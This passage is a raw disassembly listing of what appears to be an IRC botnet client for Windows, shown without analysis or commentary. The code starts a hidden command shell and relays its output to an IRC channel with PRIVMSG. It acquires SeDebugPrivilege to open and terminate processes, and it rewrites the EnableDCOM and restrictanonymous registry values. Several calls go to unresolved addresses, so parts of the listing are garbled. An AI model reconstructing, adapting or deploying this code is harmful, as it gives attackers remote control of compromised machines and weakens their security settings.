		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_439D80


loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	near ptr 29E0000h
		nop
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439DE0
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		call	near ptr 28B09AAh
		nop
		test	eax, eax
		jnz	loc_41988F


loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------


loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CB644
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB4E4
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------


loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]


loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]


loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------


loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2


loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB538
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx


loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx


loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax


loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 28B09AAh
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------


loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439F80
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_439F5C
		jmp	short loc_419977
; ---------------------------------------------------------------------------


loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_439F38


loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h


loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 288097Dh
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 282091Ch
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		nop
		call	near ptr 28B09AAh
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 28005AFh


loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 439D7Ch, 6B48E890h, 0E3EB0240h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB8A8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi


loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB8B0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi


loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB8A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi


loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8AC
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D7D8
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		nop
		call	near ptr 2820566h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------


loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB674
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20


loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8B4


loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8A8
		call	near ptr 29E0898h
		nop
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8A4
		nop
		call	near ptr 29E044Ch
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19


loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2820566h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------


loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1


loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91


loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi


loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8A8
		nop
		call	near ptr 28B0000h
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB8E8
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------


loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------


loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_43A008
		push	ebx
		push	dword_4DB8E8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 288097Dh


loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439FE0
		push	ebx
		push	dword_4DB8E8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		call	near ptr 288097Dh
		nop


loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_439FB0
		push	ebx
		push	dword_4DB8E8
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 288097Dh
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433BCC
		push	esi
		call	dword_4CB6E0
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8AC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D7D8
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2800890h
		test	eax, eax
		jnz	short loc_419D66


loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------


loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8A8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8B0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8A4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB8E8, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------


loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx


loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB8B4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A06C
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E568[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 282060Ah
		cmp	eax, esi
		mov	dword_43E574[edi], eax
		jnz	short loc_419E12
		nop
		call	near ptr 2830047h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A038
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h


loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax


loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------


loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D


loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 288097Dh
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB6F4, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB694
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_438DE0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB648
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_43A308
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------


loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_43A2E8


loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB600
		jmp	short loc_419F17
; ---------------------------------------------------------------------------


loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2B8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB694
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB648
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_43A268
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------


loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_43A234


loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB600
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------


loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_43A1F8
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------


loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_43A1C8


loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB71C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB568
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_43A090


loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_43A1A4
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_43A178


loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_43A0B0
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------


loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C


loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_43A154
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------


loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_43A128


loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi


loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB6B4


loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------


loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A0D0
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB6F4, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB694
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_438E24
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB648
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_43A480
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------


loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_43A464


loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB600
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------


loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2B8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB694
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB648
		test	eax, eax
